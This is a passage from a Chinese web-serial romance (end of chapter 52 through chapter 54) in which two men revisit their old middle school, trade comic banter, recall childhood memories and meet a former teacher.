没忍住过来尝了一份,鲜美的粉丝放进嘴里的刹那?,几乎热泪盈眶。 就是这?个味! 他记得,郁书青也挺喜欢的。 只是那?会儿?他俩不是一个朋友圈子的,徐矿和一群大呼小叫的人?穿过街道的时候,很少会从汹涌的人?群中,看到校服的一抹白色。 郁书青似乎总是,逆着人?群。 像一条忘记洄游的方?向,却异常执拗的小鱼。 “记得,”郁书青点头,“那?家店的爷爷特别爱笑,东西干净,用料也足。” 说着,两人?就同时驻足往上看,白色的卷帘门紧闭,下?面还挂着一把大铜锁,无声地表明着主人?的离开。 “不知不觉,”徐矿不自觉地往远处看,眯起?眼睛,“时间?过得真快啊。” 他自然地牵住郁书青的手:“你本来……” “喂!” 郁书青反应有点大,直接给手抽出来:“这?在?外面。” 徐矿委委屈屈:“你嫌弃我。” 郁书青:“……” 郁书青:“我没有嫌弃你,只是这?里是学校附近,拉着手走路不太好,也可能会遇见?以前的老师,不合适。” 徐矿:“当着老师的面,你就不肯牵我吗,你嫌弃我。” 他哼哼唧唧地往郁书青这?边凑,从后面抱着人?,几乎把下?巴都搁在?人?家肩膀上,像头笨拙撒娇的大型犬,郁书青不再解释,面无表情地挣开:“没错,我就是嫌弃你。” 徐矿:“嘤。” 徐矿:“渣男。” 他扁着嘴:“但是你只对?我这?么渣,说明什么呢?说明你爱我,你在?乎我,你觉得我就是最特别的那?一个。” 郁书青用手给徐矿的脸推开:“……拿远点。” 两人?一路走一路拌嘴,已经到了小吃街的最前面,徐矿才扯了下?郁书青的衣袖:“吃红豆饼吗?” 老板勤快,厚实的糕点刚出炉,酥皮里塞了满满的红豆馅料,散着清甜的香气,郁书青毫不犹豫:“吃。” 旁边立马传来气泡音:“叫声老公,别说红豆饼了,命都给你。” 郁书青:“你有病吧?” 他无语地掏出手机:“难道我不会自己买……咦?” 系着围裙的老板正好从屋里出来,手上还端着烤盘,长得有些?面熟,而从厨师帽下?露出的一点黄色头发—— 徐矿表情严肃,站直了:“兄弟!” 老板抬头看来,把烤盘放下?,用拳头砸了两下?自己胸膛:“兄弟!” 然后,他们就当着郁书青的面,庄严地行注目礼。 郁书青傻眼。 这?不是那?次骑车载着徐矿的黄毛吗? 徐矿搂着郁书青的肩膀,凑近:“想吃我兄弟做的红豆饼吗?” 郁书青:“……” 谢谢,现在?一点也不想了。 可一袋刚从烤箱里拿出来的红豆饼,已经递了过来,老板淡淡道:“嫂子,拿去吃。” 郁书青身形凝固,而徐矿已经一脸荡漾地接过袋子:“哎呀你不要这?样叫你嫂子,他很容易害羞的哈哈并且我们家小咪是男的,叫嫂子也不太合适你说对?不对?,但话是这?样说,男嫂子也是嫂子嘛,所以你叫我们家小咪嫂子挺好的,来,再叫一声!” 黄毛老板目光平静:“嫂子好。” 徐矿:“兄弟!” 结完账,他做了个示意的手势:“等之后再约饭,一块儿?去跑山!” 离开后,郁书青才一脸震惊地问他:“你们认识?” “偶然见?到的朋友,”徐矿笑呵呵地拿了块红豆饼,“人?不错,有时候也会约着一起?去玩。” 郁书青实在?无法把染着黄毛玩鬼火的精神小伙,和在?初中门口卖红豆饼的老板联系起?来。 他顿了顿,还是把那块饼接过,放嘴里。 三秒钟后,郁书青抬头,无言看向徐矿。 怎么说呢,大概鬼火是热爱,红豆饼是为了生活,这?红豆饼闻起?来是很香,但放到嘴里不说难吃吧,起?码和好吃没什么关系,又噎又干,和压缩饼干差不了多?少。 “他能挣到钱吗?” 徐矿慢悠悠地拿了块,也跟着放嘴里:“还好,学生都不太挑。” 郁书青:“但也不能太不挑了啊?” “上课的时候,慢慢吃着玩,”徐矿继续道,“并且他家招牌不是红豆饼,是仙豆糕,红豆饼卖得最差了,可他还要坚持卖。” 郁书青沉默了下?,朝徐矿伸手,对?方?立马会意,把矿泉水瓶拧开,递了过去。 这?会儿?时间?还早,稍微吃了点零嘴后,两人?晃到了卓越的后门口,应该正好是课间?操的时间?,嘹亮的运动?曲响彻云霄,徐矿挠了下?郁书青的掌心:“你是约了谁吗?” 郁书青点头:“嗯,是我的初三班主任,他这?会还在?开会。” 徐矿哦了一声,又继续问:“你想知道什么呢?” 两侧是高大的榕树,已经有几十年的历史了,被阳光投下?小金币般的斑驳,郁书青的脸隐在?淡淡的光晕中,没什么表情:“没想好。” “没想好?” “嗯,因为也不算多?重要的事。” 徐矿被噎了下?,不满地看向郁书青,旁边是卓越初中的家属院,有几个小学生模样的孩子骑着自行车经过,按响车铃—— “叮铃铃!” 有风吹过,吹起?郁书青的额发,露出清晰的眉眼,已经是深秋了,空气裹挟着凉风袭来,拂起?翩飞的衣角,郁书青今天是上班的装束,衬衫外面套了件鸽灰色的薄大衣,显得整个人?修长而挺拔,他就这?样立于秋天,回眸看着徐矿。 不知为什么,徐矿居然有种错觉。 那?就是站在?自己面前的郁书青,和十年前并没有什么不一样的地方?。 仿佛刚刚放学,在?操场等着自己走来。 是十五岁的郁书青。 是小告状精。 是古怪的,不爱和别人?玩的孩子。 也是会仰着脸,笑得眼睛弯弯的,和自己一起?长大的小咪。 “看什么呢?” 还是郁书青先开口,打断了两人?之间?的沉默。 平日里的学校附近很两极分化,放学和休息的时候极为热闹,而上课期间?则冷冷清清,两人?杵在?这?儿?半天,也就旁边树上的几只麻雀,歪着头看热闹。 徐矿这?样安静,他还挺不习惯的。 “在?想,以前我怎么没有追你,没早恋呢,”徐矿像是卸下?包袱似的,轻轻笑了一声,“难道就是因为,上学那?会的我,还不喜欢你?” 他苦恼地皱了下?眉:“不应该啊,你这?小玩意多?别致啊。” 郁书青:“……你没事吧?” 徐矿初三的冬天就出国了,那?会儿?他俩也就十五岁左右,还是眼神清澈,上知天文下?知地理的学生,干嘛要用早恋这?样的词语,来侮辱彼此纯洁的友谊! 徐矿像是在?认真思考的模样,很快,他就得出结论?:“算了,现在?也挺好的。” 他说着就拉起?郁书青的手:“走,我陪你去找老师。” “都说了在?外面不要牵手!” “那?咋了!” 徐矿强行把郁书青的手塞自己口袋里:“以前上学那?会,我可羡慕人?家谈恋爱的,每天晚上一块儿?去操场遛弯,还有去假山那?喂蚊子……” “放屁!” 郁书青毫不犹豫:“你不是说很傻比吗,还不如打球。” 话音落下?,两人?同时一怔。 “你……” “我……” 徐矿抢先开口:“你想起?来了?” 他兴奋地两眼放光:“我就知道,我就知道你不可能忘记我的,是出了什么事吗,你把我们之前的经历给忘记了,现在?有没有想起?来?要不要进学校再看看,加深一下?记忆?” 郁书青呆呆地看着他。 很奇怪,脑海里出现一个画面。 那?就是夕阳下?的操场,他坐在?旁边的观众席里,膝盖上放着一本书,周围人?声鼎沸,乱糟糟的一团,郁书青有些?烦躁,把耳机里的声音调大,不用翻页,有风帮着他吹开英语课本,橘色的阳光洒得书本都暖洋洋的,他掌心沁出了汗,而旁边的人?全部站了起?来—— 郁书青跟着抬眸。 耳机里音量很大,是一首很老的歌。 “我不禁抬起?头看着你,而你并不露痕迹。” 经历过岁月积淀的歌曲萦绕耳边,盖住了欢呼声和球鞋摩擦操场的声音,他只是微微睁大了双眼,看到一个少年大笑着朝自己跑来,篮球服都湿了,紧紧贴在?身上,显出骨肉初成的身体,蓬勃而昂扬。 耳机被拽下?,嘈杂声和笑声瞬间?涌入脑海,吵得他耳膜阵阵作?痛。 少年一把拿起?他脚边的矿泉水,拧开,咕咚咕咚地灌下?好几口,喉结滚动?,汗水被阳光折射出一点稀碎的光,真的太年轻了,几乎能看清脸颊上的绒毛。 空了的矿泉水瓶被捏扁,少年眉梢眼角是满满的意气风发。 “郁小咪,我刚才帅不帅?” 泛黄而模糊的记忆里,十五岁的郁书青缓缓地阖上课本,冷冷开口。 “很帅,很与众不同。” 毕竟从人?群中朝自己跑来,真的很像一只奔跑的,嗷嗷叫的大鹅。 第53章 第 53 章 郁书青不?怀念自己的中学时光。 或者说, 那个幼小、孤独,没有能?力的自己,他?并?不?是多喜欢。 他?用?了很长一段时间, 才?和自己达成真正的和解。 以前的郁书青, 身上有很多的标签, 乖孩子, 告状精,漂亮得像女孩子, 没什么朋友。 郁书青曾经很讨厌这?些标签, 他?想说我?没有那么乖的, 我?想要在泥坑里?踢足球, 我?不?想告状,长相也不?是他?能?决定的。 可是爷爷对他?说,你乖一点, 听?话, 爸爸妈妈就会回来?了。 他?非常努力。 永远坐在第一排, 努力地去争幼儿园的大红花, 他?的鞋子擦得最干净, 袜边和领口也是最白的,老师们喜欢安排郁书青去“管理”班级,因为他?会完成,会认真地去执行每一道任务, 哪怕会被骂, 被讨厌,郁书青也会坚持下去。 因为他?那时候, 实在太小了。 他?不?知道该怎么处理这?些关系,他?很想表现, 想要第一名?,想要爸爸妈妈能?回来?。 但事与愿违,郁书青还是搞砸了很多事情?。 他?觉得自己这?样的小孩,很不?可爱。 郁书青问过爷爷,说如果我?听?话,不?捣乱,爸爸妈妈就会回来?吗? 爷爷匆忙地往外走,说是的。 郁书青很想让爸爸妈妈回来?,二叔曾经说过,都?是因为他?的错,妈妈才?会落到水里?,森*晚*整*理而爸爸也跟着去救,水那么凶那么急,里?面有会吃人的大鱼,如果他?再不?听?话,大鱼就会把爸爸妈妈都?吞进肚子里?去。 五六岁的郁书青哭了很久,他?记得妈妈告诉过自己,说小乖,别把西瓜籽都?给咽进去了,小心肚子里?长出西瓜哦,要是大鱼真的把他?们吃肚子里?,会不?会有一天,爸爸妈妈也能?从鱼肚子里?长出来?呢? 郁书青不?明白,可这?些话,他?不?能?去问爷爷。 在郁书青眼里?,爷爷那么高大,那样厉害,说什么都?对,就是太忙了,每天都?要由司机带着去很多地方,回来?就满身疲惫,看到自己的时候,才?笑着揉揉他?的脑袋,说还是你省心啊。 于是,郁书青就努力让自己,变得更省心一点。 爷爷很爱小咪。 可这?和他?在无意中,给郁书青带来?了伤害,并?不?矛盾。 郁书青直到很久以后,才?终于明白,无论他?做了多少努力,不?管他?再怎么乖巧,他?的爸爸妈妈都?永远不?会回来?了,他?心里?憋的好难受,像是塞了很多皱巴巴的纸团,一个人在房间里?的时候,郁书青就撕纸,捏东西,他?把卫生纸搓成很小的细条,用?刀子再慢慢切开,这?样无聊至极的游戏,郁书青可以做一整天。 没有人陪他?。 爷爷在工作,奶奶在养花弄草,睁着一双天真的眼睛说,小咪无聊吗,那我?们一块儿出去买衣裳怎么样? 奶奶很爱郁书青,可她是真的不?会带孩子。 这?也不?能?怪她。 郁书青就钻进储物柜的箱子里?,做一个省心的小孩。 初中后,郁书青才?知道父母的墓在哪里?,他?有时候太想妈妈了,就会自己骑自行车去那里?坐一会儿,如果在路边发现一朵洁白的野花——黄色也行,郁书青就会摘下来?,放在安静的墓前。 那个时候,郁书青很喜欢这?样骑车,穿梭在风里?的感觉。 他?走了很远的路,才?能?到达目的地。 郁书青决定,等?长大后,他?就买辆摩托车,让速度和风都?变得更快一点。 不?告诉任何人,独自骑车去往遥远的郊区墓地,是初中时候的郁书青,最叛逆的事。 当然,和徐矿比起来?,还是算不?得什么。 徐矿,天哪,徐矿什么都?敢做,什么都?敢去尝试。 他?总是乐呵呵的,张扬,肆意,即使出糗摔得头破血流,也会大笑着站起来?,他?有很多朋友,有爱他?的父母,他?就像一个完美的圆形,没有任何缺憾的边角。 郁书青很讨厌徐矿。 不?是嫉妒。 就是讨厌。 可能?是太刺眼了,能?够清楚地在对方身上,看到幸福这?个词的具象化。 刚步入青春期的郁书青,跌跌撞撞地原谅自己,他?像一只笨拙的刺猬,在辽阔的草原上摊开肚皮晒太阳,这?样的日子不?算好,也算不?得差,没关系,当夜晚因为生长痛而腿抽筋醒来?时,郁书青会给自己揉小腿肚,并?很开心。 他?觉得,自己有在努力长大。 郁书青一点点的,也开始爱自己。 以至于再看到徐矿的时候,也没那样讨厌了,甚至偶尔会因为对方脸长得不?错,稍微多看两?眼。 但也仅此而已。 爷爷的身体不?太好了,二叔那边惹了好几次事,他?就这?么一颗小小的心脏,全部给了自己的家人,想要快点长大,能?够去庇护别人,而不?是像以前在瓢泼的大雨中,浑身发抖地抱着一只小猫,央求能?够养活它。 如今的郁书青,他?的小猫已经不?在了,可他能养活很多很多只小猫。 郁书青坚持做慈善,给家里?的事业撑了起来?,他?不?怀念过去的岁月,毕竟打磨自己棱角的过程中,总是会有一些痛的,但痛完就好了,因为郁书青,很喜欢现在的自己。 他?享受一切。 ……除了耳边的聒噪声,真的很吵,仿佛那种伸长脖子努力刷存在感的大鹅。 “有没有想起来??” “快点说呀,当初到底发生什么了?” 徐矿两?只手都?按在郁书青的肩膀上,急得上蹿下跳,可对方不?为所动,像是陷入某种隐藏在深处的回忆,眼眸蒙了层雾气?,怔怔地看着他?。 风吹得榕树哗啦作响,深秋的气?息干燥而冷冽。 课间操应该结束了,校园内没有了激昂的运动曲,而是散漫的笑声,琐碎地顺着风溜过来?,模糊而遥远。 在这?个瞬间,徐矿突然想到了某种可能?性。 “难道说……” 他?吞咽了下,紧紧地盯着郁书青的眼睛:“你暗恋我??” 郁书青:“?” “两?种可能?,第一就是你故意假装忘记了我?,”徐矿陷入思考,“然后吸引我?的注意力,让我?觉得你很特殊,唉,小咪你也真是的,你什么都?不?做我?就挺喜欢你的,当然做了也没关系,还是喜欢你。” 郁书青面无表情?。 徐矿继续道:“还有就是,你是真的单单把我?给忘记了,你看,咱俩从小就认识,你为什么不?忘记别人,偏偏只忘记我?呢?是不?是因为当时我?要走,要出国,所以你生气?了,以至于受了那么大的打击……叫什么来?着,自我?保护?所以封心锁爱,等?着我?回来?吗,天哪,你好爱我?。” 他?震惊道:“你觉得,哪个可能?性更大一点?” 郁书青微微一笑:“我?觉得,可能?性都?挺大的。” 似乎有点冷了,郁书青仰着脸,把大衣往里?面稍微裹了下,胳膊都?跟着被冷风吹得瑟缩,只露出一点点的指尖,泛着粉,徐矿的手还搭着郁书青的肩,视线往下看,脑海里?突兀地出现以前的画面,也是这?么冷的天气?,郁书青整个人缩在校服里?,像朵蘑菇似的蹲在看台上,他?不?小心失手,篮球滚到对方的脚边,捡的时候对方抬眸,视线相接,徐矿突然有点紧张,开口的声音都?变调—— “你们班的班服,是没小号了吗,干嘛穿这?么不?合身的?” 他?记得当时的郁书青,双手搁在自己的膝头,可能?太冷了,指尖被冻得很红,徐矿好想去帮他?暖一下,可还没等?他?伸手,对方就站了起来?,很嫌弃地走开。 在学校里?,他?俩不?怎么说话的。 别人问了,也只知道这?两?人从小就认识,但是关系不?怎么好。 如今的郁书青长高不?少,可手指怎么还是这?样的颜色,他?被一件宽松的大衣裹着,腰就那么窄窄一条,似乎用?手丈量两?下就能?完全握住,徐矿的动作比想法更快,真的低头箍住了对方的腰。 郁书青没往外挣。 他?继续道:“你别说,我?觉得这?两?个的可能?性都?不?小,如果是前者,我?故意忘记你的话,现在的目的就已经达到了,徐矿,你怎么这?么不?经钓呢,就是洒了把面包屑而已,你就咯咯叫着自个儿跑来?了。” 徐矿有点没听?明白,什么咯咯叫,郁书青才?像一只小灰鸽子呢,能?被自己完完整整地拢在怀里?。 以及,郁书青身上是什么味道啊,怎么这?么香。 “如果是后者的话,”郁书青慢条斯理地继续,“说明我?当初真的是好爱你,爱你爱的得要死掉了,你外出我?就受不?了,才?受到这?么大的打击。” 徐矿已经把脸埋在郁书青肩膀上了。 他?俩不?是一直这?么别扭,针尖对麦芒,见面就互掐的,升入初三的那个秋天,郁书青像是突然转了性子,忘记具体是什么情?形了,反正就是,甜甜地叫了一句哥哥。 徐矿挺激动的。 男生嘛,都?喜欢给人当爹当哥,所以他?就勉为其难地,放下了一点对郁书青的成见,连带着看人顺眼了许多。 于是,当时的他?就往郁书青那边,跑得稍微勤快了一点点。 连自己身边的朋友都?发现了,说你这?天天围着郁书青转,干嘛呢? 徐矿不?以为然,说那是我?兄弟! 朋友嘴欠,来?了句认识的知道那是你兄弟,不?认识的还以为你想摸人家兄弟。 徐矿:“?” 这?都?什么乱七八糟的! 总之就是,那段时间是他?和郁书青的少年时光中,很短暂的一段“蜜月期”,以至于现在看到郁书青微红的指尖,徐矿就不?由自主?地回想,若是十五岁的自己,尝试着去握一下,会是什么后果呢? 那时候的郁书青,真的暗恋自己吗? “说不?定我?很早就情?窦初开,”郁书青继续慢悠悠道,“喜欢你,喜欢到不?能?自己,以至于太痛苦,把曾经有你的那些记忆都?给忘了,没想到过了很多年,还是一见钟情?。” 他?语速慢,整个人都?被徐矿拥在怀里?,仰着脸说话的时候,嘴唇下面的小痣很清晰,随着嘴唇的一张一合也在动,而每动一下,徐矿的耳朵都?要更红一分?。 主?要是,郁书青的态度太坦然了。 徐矿嗫嚅了好一会,才?结结巴巴地开口:“真、真的吗?” “我?想想啊,”郁书青笑着,“走吧,咱们要不?到小树林那儿说?” 徐矿的脑袋快要冒烟了。 卓越的初中部和高中部挨着,无论哪个年级的学生,没有不?听?说过小树林名?字的,因为那是闻名?遐迩的情?侣圣地,因为历史长,面积大,又是去校外的一道必经之路,所以总有些早恋的小情?侣,偷偷地在那儿牵个小手,亲个嘴。 初中生开窍晚,但也知道那里?的暧昧,平日里?经过的时候,都?会互相挤眉弄眼地打趣,搞得有段时间学校“严打”,每天晚上由校长带领体育老师出击,拿着探照灯往偏僻的地方照,被称之为“扫黄灯”。 徐矿不?太了解这?个,他?那会儿就没这?方面心思。 直到很久以后,二十来?岁的徐矿有次在游艇上画画,旁边全是成双成对的伴侣,海鸥鸣叫着飞过,他?突然一拍大腿,后悔地想,自己之前怎么就没早恋过呢,太可惜了。 “要、真的要去小树林啊……” 郁书青把手机放回去,刚才?徐矿愣在那儿,脸红成了个泡泡茶壶,他?就看了下自己和老师的信息,对方说会议还没结束,需要再等?半小时左右,郁书青回复说不?急,我?们就在学校外面转转。 “去啊,”他?轻松地后退一步,挣开徐矿的怀抱,“说不?定到那儿,环境一回味,气?氛一上来?,我?就什么都?想起来?了呢?” 徐矿红着脸跟在后面:“……哦。” 小树林要从家属院这?边进去,门口是摆盘下象棋的老大爷,有俩还认得郁书青,很惊喜地打着招呼,说这?不?那个骑自行车的小孩么。 郁书青就笑着点头。 家属院里?老年人多,节奏比外面都?慢了半拍,徐矿走了好一会,才?突然反应过来?:“等?等?,你说回味,你以前和谁一块钻过小树林吗?” 郁书青懒得理他?。 徐矿巴巴地跟在后面:“你那时候不?是跟铁树似的,没听?说过你和谁谈恋爱啊,后来?你上高中的时候我?也没打听?过,就是偶尔从朋友那听?了几句,挺没劲的,他?们非要说,我?也不?是故意听?见,总之就是我?记得你没对象啊,更别说高中的时候就早恋了,你在气?我?对不?对,我?不?信。” 郁书青终于回眸,无言地扯了下嘴角。 徐矿嘟嘟囔囔的:“不?过我?也不?是那种人啦,我?觉得有感情?经历很正常,关键彼此要坦白,不?能?有欺骗,所以无论在我?之前你有没有人,有过几个,我?并?不?是很在乎呢哈哈,毕竟今天已经知道了,你第一次暗恋就是我?,所以从现在开始,把之前的全部忘掉好吗,好的。” 青年的鞋子踩在落叶上,发出很轻微的响声。 说是小树林,实则面积相当不?小,卓越处于老城区,这?里?的绿化做的不?错,郁郁葱葱的树木绵延成荫,风吹过来?,发出海浪一般循环往复的声响,都?是几十年往上的老树了,裸-露在外的树皮斑驳,像是镌刻了时间的年轮,在温柔地注视着年轻人的脸。 徐矿还在问:“那你是什么时候开始喜欢我?,暗恋我?的呀?” 郁书青停下脚步,转身看向徐矿。 鸟鸣声啁啾,周围静悄悄的,厚厚的松针铺在柔软的土壤上,空气?是满是清冽的气?息。 郁书青没什么表情?:“说完了吗?” 徐矿驻足,低着头:“……没。” 郁书青抱着自己的胳膊:“那就一口气?说完吧。” 徐矿这?才?抬头,抽了下鼻子:“我?想哭。” 郁书青:“?” 不?是,这?人怎么想一出是一出,干嘛突然想哭了? 徐矿泪眼朦胧地看着郁书青:“我?一想到你很早就暗恋我?,我?就觉得,怎么什么好事都?让我?给占了啊。” 郁书青倒抽一口凉气?:“不?是,这?件事还没有确定,你先忍着,给我?憋回去,别往我?身上蹭,也不?要趁机亲我?脖子,啊啊啊啊!” 徐矿已经一把抱住郁书青,汪汪大哭。 “对不?起啊小咪,我?现在才?知道你的心意,我?应该早点回来?见你的,应该坚持找你,都?怪我?,是我?回来?晚了。” 郁书青目光呆滞:“哈?” 徐矿的脸埋在他?的肩膀上,一边哭一边亲:“现在还不?晚,真好,记忆我?帮着你慢慢找回来?,我?们明天就去领证好吗,老公,别逞强,我?知道你已经……” 他?说着,终于抬起头,两?手捧着郁书青的脸,响亮地亲了下去。 小鸡啄米似的,在脸颊和嘴唇上反复亲,亲完,看看,很满意的样子,继续埋下头亲。 虽然郁书青在挣扎,但一定是因为太害羞了,徐矿现在满心满眼的粉红泡泡,觉得自己好幸福,是全世界最快乐的男人,恨不?得能?这?样抱着郁书青去果园里?打滚,让满头满身都?是淡白的花蕊。 而就在这?个瞬间,徐矿突然被拽住了一条胳膊。 他?正亲得使劲:“嗯?” 下一秒,完全没防备的天旋地转,世界在瞬间调转了过来?,而自己的后背也随着一声巨响,重重地落在柔软的松针土壤上,震得树林中的鸟雀都?齐刷刷地振翅,拍着翅膀飞走。 “砰!” 徐矿仰面看着被枝桠切割的天空,表情?茫然—— 郁书青,给了他?一个过肩摔。 动作漂亮,丝毫不?拖泥带水。 他?心中不?由自主?泛起一圈圈的涟漪,脸红红的。 好厉害,好喜欢。 旁边的郁书青双手撑在膝盖上,表情?有些臭:“你好重。” 徐矿的心跳得很快:“重了不?好吗宝贝,你不?就喜欢重的……” 话没说完,就闭上了嘴,可能?是被摔出了错觉,他?清晰地看到郁书青的眼眸里?,闪过一丝杀意。 一定是看错了。 郁书青声音很冷:“起来?,我?跟你讲清楚。” 徐矿表情?无辜:“人家摔倒了,要抱抱才?能?起来?。” 郁书青:“……” 他?沉默片刻,走到徐矿旁边,半跪下去:“知道我?为什么叫你来?小树林吗?” 徐矿这?才?坐起来?,双手在侧面撑着地,满脸的笑意:“因为你想寻找记忆……” “不?,” 郁书青果断回答:“因为这?里?人少,揍你不?会引起动静。” 毕竟是学校附近,要注意影响。 徐矿呆呆地眨着眼睛:“来?这?里?,就是为了能?收拾我??” 郁书青:“对啊。” 徐矿的喉结滚动了下:“那,你刚才?说的两?种可能?性都?很大呢……” 郁书青不?说话了。 似乎有小松鼠从旁边的树梢上跳过,给树枝摇晃出声,两?人大眼瞪小眼地看了会儿,徐矿才?张了张口:“那些,只是殴打我?的前摇吗?” 郁书青轻轻地咳嗽了一声,目光飘忽。 “好长的前摇啊,”徐矿撑着膝盖站直,顺手给郁书青也拉了起来?,低头拍了拍对方身上沾的松针,“我?还以为你是暗恋我?,害羞,所以跑到人少安静的地方呢。” 他?笑着伸手,摘掉郁书青头发上沾的一小片叶子:“我?明白了。” 郁书青怔了下:“你明白什么了?” “你给我?面子,”徐矿自信一笑,“所以才?来?这?里?给我?过肩摔,你好爱我?,我?真的什么好事都?占了。” 他?说话的时候,眼睛亮晶晶的,丝毫看不?出刚才?被摔到地上的窘迫,哪怕头发稍微有点乱,但锋利英挺的眉眼里?,满是笑意。 郁书青的心跳,一时有些错了拍。 “神?经吧你,”他?生硬地转过身子,“弄得我?都?不?想揍你了,好不?爽啊。” 一拳打在棉花上,棉花还趁机亲了你一口的感觉,怪恶心的。 徐矿笑嘻嘻地从后面抱着他?:“你舍不?得。” “胡说!” “真的,你舍得?那你现在再来?一次!” “不?要,怕给你打爽。” 徐矿不?无遗憾地“哦”了一声,他?想过了,要是郁书青再给他?来?一次过肩摔,他?就趁机抱着人家的大腿一起倒下,然后在地上滚来?滚去,像跳泥坑的两?只小猪,把彼此弄得脏兮兮的—— 郁书青抿着嘴,飞快地回眸瞪他?一眼:“你笑什么呀!” 这?么荡漾的样子。 “我?在想,”徐矿将下巴搁在郁书青的肩膀上,“你好温柔啊。” 郁书青:“?” 我?吗? “是啊,”徐矿轻轻地叹了一口气?,“温柔多情?,力气?又很大,从小我?就打不?过你,现在也是呢。” 他?亲了下郁书青的耳朵:“谢谢你给我?早恋的感觉。” 果然,对方的耳垂很快就红了。 “我?没有!” 郁书青仓促地回头:“你误会了,能?不?能?不?要这?么厚脸皮,信不?信我?……” 徐矿捉住他?乱挠的手腕:“你真的好像一头气?哄哄的小野猪啊。” 说完,他?就顺势给人按进怀里?。 “真可爱。” “我?的。” 第54章 第 54 章 郁书青被徐矿完完全全地拢在怀里, 目光呆滞。 脸颊相贴,能嗅到对方身上?很淡的香味,徐矿有用香水的习惯, 具体什么品牌郁书青判断不出来?, 他对香水感觉一般, 偶尔还会嫌呛, 这会儿可能是被萧瑟的秋风吹过,味道就变得清冽而遥远。 是一种, 很怀念的感觉。 初冬要来?了, 今年天气?冷, 可能会有几?场大雪。 郁书青查过彼此的资料, 徐矿是在初三那年冬天转学的,从此两?人就分?道扬镳,消失在对方的世界里。 “怎么这样乖呢?” 徐矿还在嘀嘀咕咕:“简直想给你藏起来?, 揣兜里带着, 但是想想也不行, 得让全世界都知道你有这么可爱才好。” 郁书青努力地偏了下?头:“你能不能, 不要这么恶心……” 徐矿的脸埋在他的颈窝处:“你说, 要是那会我们就早恋,会这样钻小树林吗?” “我不是说了没有暗恋你,怎么可能和你早恋?” “那也没关系呀,我们现?在不就和早恋一样么!都跑到小树林了, 来?, 让我亲一个!” 他说着就抬头,捏住郁书青的脸颊, 使劲儿在对方嘴上?啵了一口?。 郁书青两?条胳膊都往外推,推不动, 气?恼:“你真的好重!” “重了说明我有肌肉,你不懂吗,男人没点?肌肉怎么养家糊口?!” “谁要你养家!” “那你养我也行,天哪,我都不敢想象自己被你养着的话,会是一个多快乐的小男孩。” 郁书青终于?给人推开了,站在原地喘气?,绝望地想,徐矿有这样的心态,真的做什么都会成功的。 其实,他有些?小小的羡慕。 那就是不纠结,直接莽,一旦确定了心意打?算开始追求,真的就不再拖泥带水,很赤诚直白地表明心意,赶也赶不走,唰地一下?就蹿到他面前,撅着尾巴开屏。 “走吧,”徐矿拉起他的手?,笑道,“早恋的小情侣是不是都这样,拉着手?走路都能走很久。” 郁书青懒得再挣开,任由对方牵着自己:“能走多久?” 再大,也只是一片小树林而已。 上?学的时候觉得小树林里有很多宝藏,像是永远也走不完似的,三五成群的好友在里面聊天,吃零食,分?享自己最近买来?的有趣物件,晚自习的铃声响起,慌慌张张地拎起书包往回跑,可还是会迟到,因为小树林真的很大—— 但现?在,一眼就能望得到尽头。 原来?学校没有变,过去的时光没有变,变化的,只有早已长大的他们。 徐矿慢悠悠的:“走到冬天吧。” 已经是深秋时节了,郁书青侧眸,怔然地看向?对方,之前查过彼此的资料,知道徐矿是在初三的寒假离开,也是同样的冬天。 “早恋都做什么,”徐矿自言自语道,“送早饭,逛操场,还有什么呢?” 他陷入思考似的,眉头微微皱起:“我做的有点?不好,是不是只送过你花?” “还有气?球,”郁书青懒洋洋的模样,“糖果,和面包。” 两?人已经走到小树林的边缘,再往前就没法儿走了,是学校的后门,门卫室里的保安目光警惕地看着他们,还没到放学时间?,徐矿摇晃着郁书青的小臂:“小咪,我们来?早恋吧!” “神经病,”郁书青给手?抽回来?,“谁要跟你早恋。” 徐矿坚持:“来?都来?了!” 郁书青:“不是,我还没答应和你谈恋爱呢,你怎么就开始想早恋的事?再说了,早恋是什么好事吗!” 徐矿一脸无法无天的猖狂:“可恶,想想都不行吗!” 他说着,就重新抓起郁书青的手?:“早恋当然要刺激点?,第一件事,就是被老师发现?——老师好!” 郁书青:“?” 他只顾得旁边有只聒噪的大鹅,没注意后门已经打?开,一位中年男人正?款款朝他们走来?。 卓越初中的物理教研组组长,王亮程老师。 秃了,地中海,几?缕长长的头发从左边划拉到右边,除此之外头顶寸草不生,闪着明亮的光,身上?穿了件藏蓝色的条纹衬衫,外面罩了枣红色的毛衣马甲,端着保温杯,随着脚步声,腰间?的一大串钥匙划拉作?响。 这么多年,王老师居然一点?都没变! 郁书青一个哆嗦,还没开口?问?好,就被嘹亮的手?机铃声震在原地。 “回首依然望见故乡月亮——” 王亮程不紧不慢地掏出手机,先掀开翻折的皮质手?机壳,而音乐则在继续。 “黑夜给了我黑色眼睛,我却用它去寻找光明——” “喂!” 王亮程终于?接通电话:“还没下?班,有点?事……对,第五节放学我回去,成,我回家路上?买。” 挂完电话,他掀起眼皮看了两人一眼,视线缓缓下?移,放在相牵的手?上?。 郁书青唰地一下把手?夺回来?:“老师好!” 动作?太快了,徐矿被甩得一个趔趄,站稳后乐呵呵的:“王老师,您还记得我吗?” 王亮程眯着眼睛:“嘶……看着脸熟,应该教过你吧?就是名字有点?想不起来?了。” 徐矿:“没有,您没教过我,那时候您在楼上?的班教书,我在楼下?的班听课。” 王亮程:“啊?” 教书这么多年,很多学生的名字都可能慢慢变得模糊,而其中最出色或者最捣蛋的,提一下?就能猛地想起来?,王亮程盯着徐矿的脸看,突然有本能的手?痒,和熟悉感。 郁书青连忙道歉:“对不起老师,他是陪我过来?的。” 王亮程这才转身:“小郁啊,你可是好久没回卓越了!” 郁书青硬着头皮:“最近比较忙……” 他和王亮程有联系的,逢年过节也会给老师发点?祝福语,今天过来?的时候没想太多,也没想到能被王老师看到他俩牵手?,怎么说呢,哪怕都毕业很多年了,但面对教过自己的人还是有条件反射,比如玩手?机的时候,要是有老师从后面经过,会本能地受到惊吓。 “没事,”王亮程声若洪钟,“你们忙点?好,都是祖国的栋梁之材!” 这会大概是第四节课的时间?,校园后门处没什么人,王亮程上?课的时候不带“小蜜蜂”这样的话筒,锻造了深厚内力,嗓门响得门卫室都能听见:“所以你俩现?在是,在一块儿了?” 郁书青大窘:“我……” 旁边的徐矿接过话,特坦然:“没,正?追着呢,王老师我也不瞒您,上?学那会我俩关系一般,就没早恋,不然说不定还能让你逮着。” 王亮程眼睛放光:“哦哦,所以这是……日久生情?” 